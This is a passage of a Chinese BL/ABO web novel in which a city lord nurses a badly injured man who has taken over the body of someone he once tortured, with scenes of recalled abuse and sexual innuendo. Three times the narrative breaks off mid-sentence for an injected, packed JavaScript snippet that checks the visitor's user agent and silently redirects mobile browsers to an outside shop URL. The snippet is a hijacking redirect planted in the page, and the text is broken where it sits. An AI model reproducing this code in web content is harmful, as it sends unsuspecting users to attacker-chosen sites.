他终是撤身离开,只用指腹,缓缓抚过Omega瘦到凹陷的脸庞。 头顶的数字,不知何时,已然变成纯黑的100。 数字之上,黑雾弥漫。如一只愤怒至极,张牙舞爪,欲将人撕碎的魔。 - 白棠再次醒来的时候,谢珏自然是像往常一样,坐在他的床边,单手托着平板,时不时在上边敲敲点点。见他醒来,便将平板放到一边,给予他全部的关注。 白棠心里像吃了蜜,面上却是微微咬住唇瓣,一副忐忑不安的小模样,眼巴巴地盯谢珏。 “嗯?”谢珏有些好笑地挑眉。 “你回来啦?”白棠弯着眼睛,软软甜甜地问。 谢珏也不自觉放软声音:“嗯。” 白棠又小狗似的盯了他一会儿,终于鼓起勇气道:“你不在的时候,我哭了一下下,但是没有闹……” 谢珏没应声,只是微微仰起下颌,抬了抬眉心。示意白棠往下说。 白棠咬咬唇瓣,诚实招供:“我大声凶钟叔和秦医生了……但是!但是我很快就道歉了的……” 心急地辩解到一半,白棠便心虚地低下声去。 他再次咬住唇瓣,比先前用力得多。盯着谢珏的目光心虚又期待。 见谢珏还是没什么反应,银白的眼睫一眨,就多了几颗晶莹的小水珠。衬着那副知错小狗似的表情,很是惹人爱怜。 然而谢珏不动如山。 白棠吸了吸鼻子,再开口时有了哭腔:“我知道我做得不够好……但是,我真的很努力了……” 谢珏颔首:“我知道。” 我真的知道。 白棠一愣,瞬间雀跃起来,眼眸明媚如星:“那我可以摸你的眼睛了吗?” 谢珏微微倾身:“为什么这么执着于摸我的眼睛?” 白棠咬住唇瓣,苍白的脸,泛起可爱的红晕。 次次如此。 如果谢珏追问得紧了,他就会噘着嘴巴说:“那我不要摸了。” 气得谢珏想把人捞过来,打他屁股。 “给我一个我能接受的理由,我就让你摸。” 今天他一定要问出来,白棠想摸他眼睛的理由,与他猜测的,是否一样。 8. 你再说下去 谢珏想,他知道白棠为什么对他的眼睛有执念。 因为这副皮囊,只有眼睛,是他自己的。 是他耗费大量积分,保留下来的身份标识。 只为白棠说过,最喜欢他的眼睛。 尤其,是左眼眼尾的那颗小痣。 他不想白棠找到他时,面对的,是个全然陌生的男人。 哪怕他完全不知,白棠何时才能重回他的身边。 他等了一个世界、又一个世界……很多个世界。 他已经快被愤怒和绝望吞噬。 终于。 将他挚爱之人的魂魄,塞进他至恨之人的肮脏皮囊,他当然心有怨恨。 但,更多的,还是感激。 感激不尽。 失而复得的机会,不是谁都能有。 白棠呆呆地看男人。男人看他的目光有些可怕,似是要把他吃了。 可他偏觉得,男人要哭了。 他舍不得男人哭,光是看他这副要哭不哭的模样,就难过得快要死了。 他想哄哄男人,所以他如实招供:“因为,每次我看向你的眼睛,脑子里,都会冒出一个画面……” 白棠越说越小声,脸也越来越红。 他咬住唇瓣垂下眼,第一次,逃避谢珏注视过来的视线。 “嗯?”谢珏挑了下眉,再次发出那种很惑人的鼻音。他倾身靠近些许,诱惑白棠继续说下去:“什么画面?” 白棠垂着眼睛,唇瓣咬得更深,脸也更红。 他是害羞。但他害羞,是因为他在动歪心思。 他想把脑子里的画面,直接做给谢珏。 “嗯?”谢珏撩死人不偿命地催促。 白棠的脑子里,天使和恶魔在疯狂交战。 男人捏住他的下巴,逼迫他抬起脸来与自己对视:“说。” 陡然强势的态度,和微微变冷的语气,通常会像一盆冷水,兜头浇灭人的冲动。但对白棠,恰恰相反。 那是惑人心智的蛊,是血脉奔腾的药。 “我做给你看,好不好?”他按捺着心跳,鬼使神差。 男人本是一脸欣然,“好”字已经做出口型。却不知想到了什么,突然变了脸色,就连语气都变得疏离:“好好躺着,不要乱动。” 白棠觉得,男人绝非在意他的身体,只是不想被他触碰。 他盯着男人,目光不解、失落、又难过。 男人动了动嘴唇,终是都没解释,只是缓和了语调催促:“快说。” 白棠被轻易哄好了。 他红着脸小声告诉男人:“我看见,我坐在你的腿上,与你面对面,双手捧着你的脸,亲吻你的眼睛……” 把你的睫毛含在唇间。 把你眼尾有痣的那片皮肤,吮到发红。 后两句,鬼使神差的,他没好意思说出口。 而且谢珏也没给他说出口的机会。 话说到一半,他就被谢珏捂住了嘴。 “不要再说了。” 白棠睁大那双冰蓝色的眼睛,茫然又无辜。 “你再说下去,我不确定我会对你做什么。”谢珏说。 白棠下意识抿起嘴唇。可他的唇,就贴着谢珏掌心。 两个人都感觉,是白棠用唇,嘬了谢珏的掌心。 谢珏飞快撤手,盯着白棠的目光,似要吃人。 白棠抿着嘴巴,眨巴眨巴大眼睛,一脸无辜。 谢珏满心躁郁——他的信息素已经不受控地飙出,而病床上这个原本与他是100%匹配的Omega,却无知无觉。 是他亲手毁掉的。 可他没做错。 谢珏说不清自己是什么心情,只是喉间、头顶,血气翻涌。 头顶的纯黑数字大雾缭绕,像着了火。 白棠盯着他的头顶,既害怕又担心。他小声软软道:“薄先生,你是在生我的气吗?” 深紫色的眸闪了闪,男人深呼吸,神色缓和下来。头顶张牙舞爪的黑雾似乎都随之柔和一些。 他微微倾身,很认真地盯白棠的眼,很认真地说: “我不会生你的气。” 他似许下什么誓言,再次强调:“永远不会。” 白棠眨巴眨巴眼睛,嘴巴微微张着,看起来有点呆。 过了两秒,他倏然绽开灿烂笑容,欢欢喜喜地问:“那我现在可以摸你的眼睛了吗?” 谢珏喉头一滚,眸色幽深地点头:“嗯。” 白棠欢天喜地地抬手,谢珏也很合作地俯身靠近。 然而白棠却在将触未触之时,停住了。 他的十指,全都缠着纱布。他根本“摸”不到。 白棠垂下眼睛,抿起嘴巴,将手缩回被子里。 谢珏喉间的血腥气愈浓。头顶的纯黑数字也再次浓雾熏天。 白棠的视线被吸引过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846775|211750||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 困惑又担忧地盯着。 谢珏的嘴唇动了动,忽然问:“想亲吗?” 白棠一愣,睁圆了眼睛,“亲……什么?” 谢珏抬手,指尖不偏不倚,点在自己左眼眼尾的那颗红色小痣上。 白棠喉头一滚,发出近乎饥渴的吞咽。 他点头如捣蒜,晶亮的双眼像看见主人拿出罐头的小狗。 谢珏却向后一靠,闲闲笑道:“亲和摸是不同的价格。想要得到,就继续努力,嗯?” 白棠在两腮鼓起两个小包子。 谢珏这次没再忍耐。他伸手戳了上去。 “噗。” 漏气的白棠似是没想到谢珏会做出这么幼稚的举动。他错愕地睁大眼睛。 谢珏却已经朗声笑了起来,眉目舒展,神采飞扬。 白棠也跟着笑了起来。但他的笑是纯真的,轻柔的。甚至带着几分宠溺。 - 白棠睡着后,谢珏去催促下属。 腺体信息都是登记在官方数据库里的,怎么四天了还没查到符合条件的腺体? 可是我们要查的,也不是咱自家数据库啊。 打工牛马不敢申辩,只能默默腹诽。 但腹诽过后,又倍感罪恶。 毕竟,老板付的工钱,填平得了一切辛劳和委屈。 高薪不养庸人。 第五天下午,下属就送来了符合条件的腺体信息。 腺体,当然长在人身上。 而且这个人,是敌对城邦的高官之子。 于公于私,事关重大。谢珏盘了盘手下的人,觉得,这事儿得他亲自出马。 可他不能长时间离开城堡。他不想因为自己照顾不周,刺激到白棠,致使白棠病情加重。 思来想去,谢珏蓦然想到一个人。一个同样被他关在地下室,差点忘记的人—— 苏锦程的舔狗,杜妄。 为了苏锦程,杜妄可以不顾一切。 苏锦程那个贱人跑了,他欠的债,就让被他抛下的狗来还。 合情合理,不是吗? - 地下室的厚重铁门缓缓开启,细小的灰尘在光束中飞舞。 红底的黑皮鞋踏过坚硬的水泥地面,发出令人心悸的空荡回响。 潮湿幽暗的牢房深处,射来一道孤狼般的视线。敏锐、凌厉。 谢珏在门口站定,唇角微挑:“杜队长,好久不见。” 9. 男人动一点点 白棠醒来时,很意外的,谢珏竟然不在。 在楼上书房开视频会议,还是出门了? 白棠眼珠滴溜溜地转,正暗暗琢磨怎么跟钟叔打探一下谢珏去向,手机铃响。 钟叔接起来,只听了一秒,便将手机递给白棠:“白少爷,城主电话。” 白棠睁大眼睛,微微张开嘴巴。 找谁?我吗?我又不是小狗,跟他不熟!不要让我接他的电话啊啊啊啊! 可是……如果不接,不就暴露了?小狗根本不会迟疑,只会立刻接过电话,软软腻腻地叫:“薄先生。” 白棠牙一咬、心一横,准备接过手机。 举到一半,瞥见自己粽子似的爪子——拿个球。 白棠缩回爪子,抿着嘴巴看钟叔。可怜中带着点儿哀怨。 都怪你们城主! 钟叔忙道:“我开免提,手机放您耳边?” 白棠心里虽还不情不愿,嘴巴却已乖巧应声:“好的,谢谢您。” 音落,他忍不住为自己欢呼。就说他是个脾气很好、很软萌的人啊!这才是他接人待物的正常样子! 钟叔放好手机,便退出房间。 但他没有带上房门。 白棠盯着大敞的门口,感觉有些微妙。 正在这时—— “喂?” 手机里响起磁性悦耳的男声,还是在离耳朵那么近的位置,白棠感觉自己那半边的身子都酥掉了。 他的气息变得粗重、急促。他努力回想小狗跟谢珏说话的语调,小心翼翼地应了声:“薄先生。” 男人轻笑。 一道电流,从白棠左耳,瞬间袭遍全身。他甚至能想象到对方眉眼低垂,唇角勾起的样子。 俩字儿,撩人。 白棠有些毛躁:笑毛线啊!不知道你笑起来很犯规?! 他想挂电话。 但他还不想暴露自己。至少不想跟谢珏直接对线。所以他得假扮小狗。 而小狗是不可能挂断谢珏电话的。 白棠正心念电转,耳畔又响起男人字字含笑的声音:“我只是抱着试一试的心态,没想到,真的可以。” 白棠不由皱眉。什么跟什么? 谢珏:“这应该是我们的第一次交谈?之前你都是一见到我就躲起来。” 白棠脑瓜子“嗡”的一下。 谢珏发现了?!他只是叫了声“薄先生”,就被谢珏发现了?! 谢珏想……干什么? 白棠下意识地屏住呼吸,大气都不敢喘。 “我很可怕?”男人问。 白棠想想,对啊,男人对他那么好,他有什么好怕的? 可他不怕了,却还是不开口。 好尴尬啊。 还好只是打电话,要是面对面,他恨不能挖个地洞钻进去。 男人似是只听呼吸,就能精准判断他的状态。见白棠没那么紧绷了,男人便轻松道:“就这样聊聊?” 白棠感觉别别扭扭的:“聊、聊什么?” 谢珏问:“他面对我的时候,你在吗?” 白棠耷拉着眉眼哼哼唧唧:“在。” 谢珏:“那你是故意藏起来,不肯见我。还是……?” 白棠噘噘嘴巴:“你在的时候,我抢不过他。” 谢珏:“面对面不可以,这样就没问题?” 白棠唉声叹气:“看样子是的。” 其实白棠有些奇怪。他以为小狗会被谢珏的声音诱惑,冒出来跟他抢夺身体的控制权。但小狗却意外地很安静? “你跟他,是两个人吗?”谢珏又问。 白棠说:“不是。” 谢珏静默两秒,问:“那是?” 白棠也不是很确定,他按自己的感觉说:“理智与本能?” 谢珏问:“为什么你的本能亲近我,理智却要逃避我?” 白棠叹气:“因为我不记得你。” 谢珏:“……” 电话那头的沉默让白棠莫名难过,他咬了咬唇瓣,还是把后半句说了出来: “但你的存在,已经刻在我的本能里。” 对面非常明显地,呼吸一滞。 白棠也没再说话。 他知道那句话代表什么。可是没说出口的时候,没觉得分量那么重。说出来后,似乎有什么,瞬间不一样了。 两边都不说话。听筒里只有彼此清浅的呼吸。一起一落,莫名的缠绵、暧昧。 白棠感觉自己的脸颊在发烫。他再次庆幸,他们只是在通电话,而不是面对面。 他完全不知道,自己的每一个微小表情,尽收男人眼底。 “你接收了苏锦程的身体和记忆。”男人许是询问,但他的语气听起来几近肯定。 涉及任务,白棠不能正面回答。他以沉默代表肯定。 “所以,你怕我,怕我是个残忍冷血、不可理喻的魔鬼?”谢珏问。声音很轻,很柔。 白棠沉默。 谢珏:“那么,经过这五天的相处,你对我,是否有所改观?” 白棠不说话。 对面耐心地等待。 终于,白棠几不可闻地应了声:“嗯。” 听起来有几分羞涩。 谢珏说:“对不起。” 白棠不明所以,但他没有做声。 谢珏说:“我有注意到你每次醒来,瞬间的眼神变化。但我没能想到,事情会是你说的这样子。” 白棠:“……” 正常人谁能想到呢? 他自己都没想到。 谢珏:“你不必因为你的理智输给了本能而羞耻、焦虑。” 白棠:“……” 这是不是就是传说中的“爹味儿”? 干嘛一副居高临下,你很懂我的样子。 要你管。 然而下一秒,他就听男人说:“是我发现得太晚。是我没能给你足够的安全感,才让你想逃避。这些天,委屈你了。” 白棠垂下眼,抿唇。体内阵阵暖流涌动,全身都要酥掉了。 干嘛说这些?都不会觉得肉麻的吗? “给我一个将功补过的机会。”谢珏说。 白棠唰地抬眼:“你想做什么?” 谢珏:“我们已经通话了3分24秒。你的状态一直很稳定。” 白棠随之意识到,今天的小狗,安静得出奇。 谢珏:“我想,或许我们可以见面聊。” 白棠犹豫。他怕谢珏一出现在自己面前,就又被小狗抢走身体的控制权。 无意间瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846776|211750||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 到敞开的房门,先前那种微妙的感觉突然有了具体的形状。 白棠心跳加快,他犹疑地问:“你不会,就在门外?” 男人轻笑:“对。” 白棠脑子里瞬间浮现出男人靠在门外墙上,低垂着眉眼,眉目温柔地给自己打电话的模样。 他再也没办法拒绝男人的邀请,羞涩地低声应:“你……进来吧。” 男人出现在门口。手机还贴在耳边,唇角的弧度不大,却勾人摄魄。 白棠听见自己心跳得很大声。身体里有股强烈的冲动,想要扑过去,拥吻男人。 他拼命让自己冷静。他怕小狗抢走对身体的控制权。 但仔细品味后,他发现根本找不到小狗存在的痕迹。 一切的感受,都源于他自己。 只源于他自己。 男人收起手机,抬腿入内。 每一步,都踏在白棠的心尖。 强烈的心跳让他想逃。可他逃不掉。他的魂魄,已被一根看不见、却斩不断的丝,拴住了。 小狗不知所踪。可就算小狗跟他抢,白棠想,他也是不肯交出控制权的。 他终于不得不面对一个事实:他的理智,早已沦陷。 不是在这一分、这一秒。 是在更早以前。 男人在他面前坐下。 白棠盯着他。他知道一直盯着一个人不太礼貌,但他发现自己就跟小狗一样,视线黏在男人脸上,不,准确说,是黏在男人左眼眼尾的那颗小痣上,完全移不开。 男人俯身靠近。 白棠睁大眼睛。 干什么干什么干什么?! 结果男人只是拿起他枕边仍在通话中的手机。 白棠想死。自己刚刚在紧张什么? 他选择性忽视心底那道说不清道不明的失落。 男人晃了晃手机,笑道:“现在,已经不需要了?” 白棠声若蚊蝇:“嗯。” 男人退出通话,将手机放到一边,转头看向白棠,摆出一副郑重模样。 白棠再次紧张起来。 又要干什么?! 他意识到,自己的情绪极易被男人牵动。男人只动一点点,他心里却已大起大落。 这感觉令人上瘾,但也—— 超、级、不、爽。 他想起一句不知在哪里看到过的话:爱情,是一场战争。 他一败涂地。 我不要做小狗!我要翻身做主人!白棠在心里咆哮。 男人看着白棠脸上,无比生动的表情变来变去,不由好笑:“在想什么?” 白棠哼唧:“没什么。” 男人也没深究,只是凝视着白棠,很认真地问:“还会躲我吗?” 白棠皱起小脸儿:“这不是我能决定的……” 男人盯着他,说:“你能。” 简短的两个字,似一支利箭,凶狠地贯穿了白棠心脏。 给予他无穷的力量。 他迎上男人直视过来的目光,说:“不会了。” 男人微笑起来,向后一靠,叠起长腿:“很好。现在,我们来聊点别的。” 他的手指,点在了太阳穴。 白棠心领神会,男人指的是,他头顶那团冒着烟雾的数字。 10. 恐惧、不安 “在此之前!”白棠激动抢话,又迅速萎了下去,局促不安道:“我想……我想先聊点儿别的。” 男人微笑,纵容又宠溺:“想聊什么?” “我们以前……认识的,对吧?” 只是抛出了问题,白棠就开始心跳加速,下意识地屏住呼吸。 哪怕他确信答案是肯定的,不会有任何其他可能,还是心如擂鼓。 男人颔首:“没错。我们认识。而且已经认识很久、很久、很久。” 那三个“很久”,男人说得很慢,而且中间的停顿,很长。 长得白棠不敢呼吸,长得白棠不堪重负。 他几乎可以确定,谢珏也是宿主。至少,曾经是宿主。所以他口中的“很久、很久、很久”,不会是普通人的“很久、很久、很久”。 白棠没办法想象,那是多久。在那么漫长的时光中,他们之间,发生过多少刻骨铭心。 谢珏都记得,而他,却忘了一干二净。 他觉得自己像个负心汉。 “怎么还是这么爱哭。” 男人捏着纸巾给他擦眼泪,白棠方才惊觉,自己竟然哭了。 “我想听。”白棠说。 可谢珏不肯说给他听。 “我也失忆过。”谢珏语出惊人,“所以我知道,失忆的人,会草木皆兵,怀疑一切。就算身边所有的人都告诉你,你跟某个人的感情很好,你也不会轻易相信。甚至会戒心加倍,每次见到对方,都如临大敌。” “最好的办法,就是重新结识、重新相处。” 白棠抿着唇盯他。 谢珏神色泰然,不动如山。 “你忘记的那个人,是我吗?”白棠问。 谢珏说:“所有人。” 白棠执着道:“包括我?” 谢珏的唇线绷紧。 白棠却高兴起来,“那可不可以……算扯平?” 谢珏怔然。良久,失笑。 他摇头,眸色温柔:“不可以。” 白棠苦瓜脸。 “我的失忆,造成了无法挽回的悲剧。而你没有。”谢珏说。 白棠睁大眼睛,因失落而沉寂的心脏,再次跳如擂鼓。 他想追问,非常非常非常想。 可他却紧抿唇瓣,没吐出一个字。 男人就那么噙着笑,安静地看他。似乎在等他拔出刀子,狠狠捅他心窝。 白棠看不得男人这副模样,心拧着似的疼。 他努力睁大眼睛,强忍又要冒出眼眶的泪,哑声问他:“你跟苏锦程,是怎么回事?” 男人显然没料到话题转变得如此突然。他微抬眉心,略作沉吟,说:“我想我们没必要谈论一个已经不存在的、无关紧要的人。” 白棠盯着他说:“紧要!” 谢珏托着手肘,指尖再次点上太阳穴,“有关系?” 白棠点头:“有。” 谢珏沉吟片刻,说:“我从来没有爱过他。你可以放心。” 白棠眨巴眨巴眼睛,呆呆地应了一声:“喔。” 他也从来没想过谢珏喜欢苏锦程。 但凡喜欢过,都不可能对苏锦程那么狠。 可是……男人为什么要跟他说这个? 白棠飞快反应过来—— “你被小狗误导了!”白棠急道。 谢珏挑了挑眉,慢悠悠地重复:“小狗?” 白棠闭上嘴巴,恨不能打自己嘴巴两下。 平常自己吐槽自己也就算了,怎么还当着男人的面说出来了? 他飞快瞄了男人两眼。男人笑吟吟地看他。白棠突然想起,刚见面的时候,他就抓着男人脚踝,自称“小狗”来着。 白棠头顶,“嘭”地爆开一朵蘑菇云。 黑历史!妥妥黑历史!为什么会自称“小狗”啊!啊啊啊啊! 想砍号重来。 此念刚生,脑海里便浮现出男人说“很久、很久、很久”时的模样,白棠瞬间就被困住了。 男人也一定等了他很久、很久、很久。所以,他不能砍号重来。 多苦,多难,都不能。 他闷闷地“嗯”了一声,算是认下“小狗”的名号。 男人唇角笑意愈甚,眸色愈发温柔。 白棠心跳得厉害,想伸手揉心口。 他凶男人:“你别这么看我!” 男人微微歪头,挑眉。那意思,我就这么看你,怎样? 白棠心脏跳得要死了。他觉得很烦。他把脸扭向落地窗那边。 结果扭到一半,被男人捏着下巴颌扭了回去。 小狗的视线,从来没离开过他半秒。真是反了他了。 两人大眼瞪小眼儿。 白棠眼泪汪汪地控诉:“你欺负我。” 男人还是那副欠打的样子,满脸写着:怎样? 白棠感觉自己要疯了。他想下线,让小狗来。 根本顶不住! “噗嗤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846777|211750||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' ”一声,白棠也不知道为什么,反正,他突然笑了出来。 哎哟哟,不行,胸腔一震,浑身的伤好疼。 白棠一边笑,一边疼得掉眼泪。 他被男人,捂住了眼。 笑声和抽泣声,瞬间消失。 白棠下意识地屏住呼吸,感受到了前所未有的安宁。 所谓“回归母体般的安宁”,应该不过如此。 “呼吸。”男人轻声提醒。 白棠呼吸。 好喜欢。 怎么办?好喜欢。 理智被本能同化了。 恐惧、不安。但是,好喜欢。 男人移开了手掌,那双冰蓝色的漂亮眸子,湿漉漉的,一瞬不瞬地盯着他,痴迷、固执、欲念深重。 再无半分逃跑、回避的意志。 男人捏着纸巾,点拭他哭湿的眼周,不谈感情,问正事:“我被误导了,那正确答案是什么?” 白棠盯着他,湿润的眼眸是柔软的,深处潜藏的什么,却像饥饿已久的狼。 他滚了滚喉咙,压下那股子欲求不满的焦躁,回答男人的问题:“你为什么那么讨厌他啊?” “不是讨厌。”谢珏说。 白棠意外。不讨厌? “是恨。”谢珏说:“是想他永生永世,生不如死的恨。” 白棠看向谢珏头顶,那数字反反复复,曾一度下降为灰色的56,只散出淡淡青烟,如今又跳到了满值100,黑烟滚滚。 白棠咬了咬嘴唇,为难地问:“你……可以不恨他吗?” 谢珏怔住。 他脸上的温柔渐渐冰冻。白棠甚至隐约听到了牙齿的咯咯作响。 他想说点儿积极阳光的话。 比如,既然苏锦程已经不在了,那就放下怨恨,让过去的事留在过去,开心过好当下。 比如,恨一个人,是很累的。何苦劳累自己。 可他说不出来。 他看着男人那副极力克制什么的模样,心脏又狠狠拧成了麻花。 男人突然笑了。 冰冷的、讥诮的、苍凉的。眼角血红。似在嘲讽命运不公。 白棠急忙道:“你不愿意的话……!” “可以。”他的话没说完,便被男人截了过去。 “但是,”话锋一转,男人向白棠倾身,凝视着他认真道:“我能不能做到,完全,取决于你。” 白棠睁大眼睛。 啊? 11. 破嘴 谢珏轻轻托起白棠的左手,凝视他道:“只要你好起来,恢复健康,我就让你如愿以偿。” 白棠看着他,慢慢抿起嘴巴。 谢珏拢起眉心。 白棠想哭。他小声问:“我能好起来吗?” 他能清晰地感觉到,这副躯壳的表面正快速修复,可它的内里,却在瓦解。 已经到了快要坍塌的临界点。 也许,就在下一秒。 谢珏凝视着他说:“相信我。” 白棠看着那双令人信服的眼,莫名就有了信心。 他用力点头:“嗯。” 谢珏轻抚他的发丝,眸色温柔:“好乖。” 白棠愈发觉得自己像小狗,被主人顺毛就会好开心。 但是……人为什么要像狗啊!生气。 白棠又贪恋、又拒绝,冰火两重天。 一个念头,就这样突兀地冒了出来。 他盯着目光温柔的谢珏,小心翼翼道:“你那么恨他,那你看着我……会不会感觉很……” 白棠卡住了。他找不到合适的词来形容。 恶心? 撕扯? 远远不够。 他突然明白,先前自己想触碰谢珏时,谢珏为何那么抵触。 谢珏神色古怪,问他:“你不知道自己长什么样子?” 白棠无辜摇头。 记忆并不储存清晰的人脸。它只在你看见人脸时,帮你精准识别。 谢珏拿了块镜子,举在白棠面前。 白棠睁大眼睛。 他在镜中,看到了自己。 虽然发色瞳色跟自己的不一样,还瘦得脱了相,可到底是自己的脸,一眼就能认出来。 白棠呆滞。 苏锦程,竟然,跟他,长得一样??? 巧合?还是……阴谋? 之前谢珏看着苏锦程这张脸,心里得多…… 太多杂乱的念头一起冒出来,白棠本就昏沉的脑子,短路了。 谢珏也不说话。 半晌,白棠冒出一句:“这具身体没让别人碰过。亲吻也没有。” 谢珏怔住。 他看着白棠,似在忍笑。 头顶漆黑的100,飞速下滑到83,黑烟也淡去不少。 烟都转移到了白棠头顶。 他闭紧嘴巴,满脸羞愤。 破嘴,没个把门。 但是……男人心情好,他就开心。 白棠嫌弃自己,感觉自己没救了。 “如果我让你如愿以偿,除了我给你的,你还能得到什么?”谢珏问。 白棠眨巴眨巴眼睛,有点懵。 谢珏静静地看他。 白棠隐约懂了谢珏的意思,他试探着禁制边界,说:“小黑屋……?” 谢珏微抬眉心。 白棠补上后半句:“……无限畅游……深度体验卡?” 谢珏盯着他,脸上神色变了又变。 白棠隐约听到用力捏掌心时,那种细微的骨骼声响。 谢珏头顶的数字,也再次涨回浓黑的100。 他突然笑了下,点头:“我知道了。” 白棠忽然福至心灵,急道:“我去了别的小黑屋,也能遇见你吗?还是……”他抿了抿嘴唇,忧心忡忡地看谢珏,“就再也遇不到了?” 谢珏倾身,靠近,唇角划开圆弧:“我不会让你进别人的房间。” 白棠的脸,又烫了起来。 好烦啊。对着他一个卧床不起的瘫痪病人,瞎撩什么。 可是……被撩的时候,浑身酥酥麻麻的,伤都没那么疼了。 唉,真是好烦啊。 白棠心里乱糟糟的,瞧见谢珏头顶的数值,又在一个两个地往下降。 他眨巴眨巴眼睛,看一眼,再看一眼。 “怎么总是看?”谢珏问。 白棠:“因为你一直在变。” 谢珏挑眉:“发现了什么规律?” 白棠再次抿起嘴巴。 感觉说出来……有点儿自恋。 可是男人又魅惑他。而且只用一个轻飘飘的音:“嗯?” 白棠抵挡不住半点儿,迅速招供:“好像……是……我好你就好,我不好,你就……也不好……的样子……” 谢珏盯着白棠,一脸的若有所思。显然是在根据新得到的情报,调整自己的推测,猜自己头顶的数字,到底代表什么。 一个念头突然滑过脑海,白棠问谢珏:“你为什么那么恨苏锦程?” 不待谢珏应声,他便追问道:“是因为我吗?” 谢珏的身体,肉眼可见地猛然一震,而后凝固。 像一幅艳丽的画,突然被抽去全部的色彩,唯余死寂的黑白。 猜测得以验证,白棠的脑子里再次涌现出无数念头: 谢珏是宿主,自己现在也成了宿主。那,这个苏锦程,肯定也不是普通人? 背景资料里说,苏锦程是被虐到“魂魄离体”,不是“死了”。所以,是“逃了”? 疯了,还能……逃? 苏锦程跟自己,又有什么关系? 自己,到底都忘记了什么? 他好想知道,好想问。 可看着男人那副模样,他就把所有问题,都默默咽回了肚子里。 他伸出自己的肉粽手,轻轻碰了碰男人。 男人那双似是已经死去的、失了色的眼珠重新亮起,艰涩地动了动,移向他。 白棠注视着男人,轻声说:“我现在,在这里。” 男人眼睫猛地一颤,眼周迅速湿红。 他轻轻牵了牵起唇角,失去的色彩,便又重新回到了他的身上。 浓墨重彩,俊雅迷人,笼住了白棠的全部心智。 - 第七天下午,白棠再次躺上手术台。< /p>他对这个冰冷的台子充满畏惧。因为他刚来的时候,谢珏不知道他来了。秦汉按照对苏锦程的标准,给他治疗,但不打麻醉。 甚至,在他出现解离症状后,给他注射强化神经敏感度的药。 那种痛到极致,却无法解脱的体验,他永远都忘不了。 谢珏有问他,是什么时候穿过来的。白棠没说实话。他说是谢珏准备抽他鞭子的时候。 他看不了男人懊悔、自责的模样。 他不知道男人那时候信没信,但他知道,当他躺上这个台子,无法自控地抖个不停,善意的谎言,就暴露了彻底。 谢珏抚摸他的头发,柔声细语地哄:“不会疼的。我保证不会让你疼到一点。” 深紫色的眸子氤氲成雾,似是下一秒就要坠下水滴。 白棠用缠着纱布的手指捏谢珏的无菌服,红着脸,声若蚊蝇:“可不可以……只有你?” 他要被拆掉身上的纱布,方便谢珏检查皮肉的再生情况。之后再敷上二期敷料,缠上新的纱布。 虽然他现在骨瘦如柴,可到底是个大活人,拆、缠都不容易。秦汉、小宋他们都站在一边,准备打下手。 白棠一想到自己要像个拨壳的鸡蛋,光溜溜地被这么多人看,就很想死。 他当然也不是想给谢珏看。可要活下去,总得有个人给他看。 尤其,是那个地方。 之前谢珏每天抽苏锦程鞭子,最后两下,一定会命人扯开苏锦程废掉的腿,特殊照顾一下那里。 稍微想想,白棠都一阵恶寒、幻痛。 四个多月,每天至少两鞭,还天天爬在地上磨,浸在污秽里……白棠觉得那里肯定烂了、废了。 身体破成这个样子,真的还好得起来吗?他不想余生都瘫痪在床。 唉,想砍号重来。 可他的魂魄,已经被男人牢牢拴住了…… 男色要命。 “他们只帮忙拆手脚和躯干,拆得差不多了,就我自己来。”谢珏俯身,在白棠耳畔低声。 白棠感觉自己快熟了。 他就不该提! 四个人忙了一个多小时,终于将白棠剥干净。 如秦汉所言,看起来最严重的皮肉伤,只要治,就是最容易痊愈的。一个星期前,白棠还是只剥了皮的血猴子,现在…… 现在看起来,也还是只剥了皮的血猴子。不过,只是“看起来”。因为新生的皮肤太薄,薄得像一层膜,根本掩盖不住底下血红的肌肉,所以白棠的身体,看起来还是血红一片。 谢珏让秦汉他们先出去,剩下的部分,他自己来。 白棠闭着眼挺尸。 挺……挺不了一点。他抢在谢珏动手前,急道:“你给我打麻醉吧!” 我不想清醒着面对! 谢珏却已将修长灵活的手指覆了上去,一本正经道:“不行。我需要你清醒着给我反馈。” 12. 白棠变成了红棠 白棠不能理解这个世界的医疗水平和人体的自愈能力。总之很神奇的,他以为已经烂掉的地方,痊愈得挺好。 他被谢珏捏在修长灵活的指间:“有哪里疼吗?” 白棠已经变成了红棠,他声若蚊蝇地哼哼:“不……” 不要再捏了,再捏就…… 唉,来不及了。 谢珏摸小狗脑袋似的又抚了两下,点头:“确实恢复得不错。” 被摸了脑袋的小狗很兴奋,支棱着站得笔直,不肯趴下。 红棠绝望闭眼,想死。 谢珏不让他装死,扶着他侧躺:“这边也要检查。” 那边为什么也要检查!红棠刚想炸毛,又萎掉。 那边虽然没挨鞭子,但……确实也烂掉了。 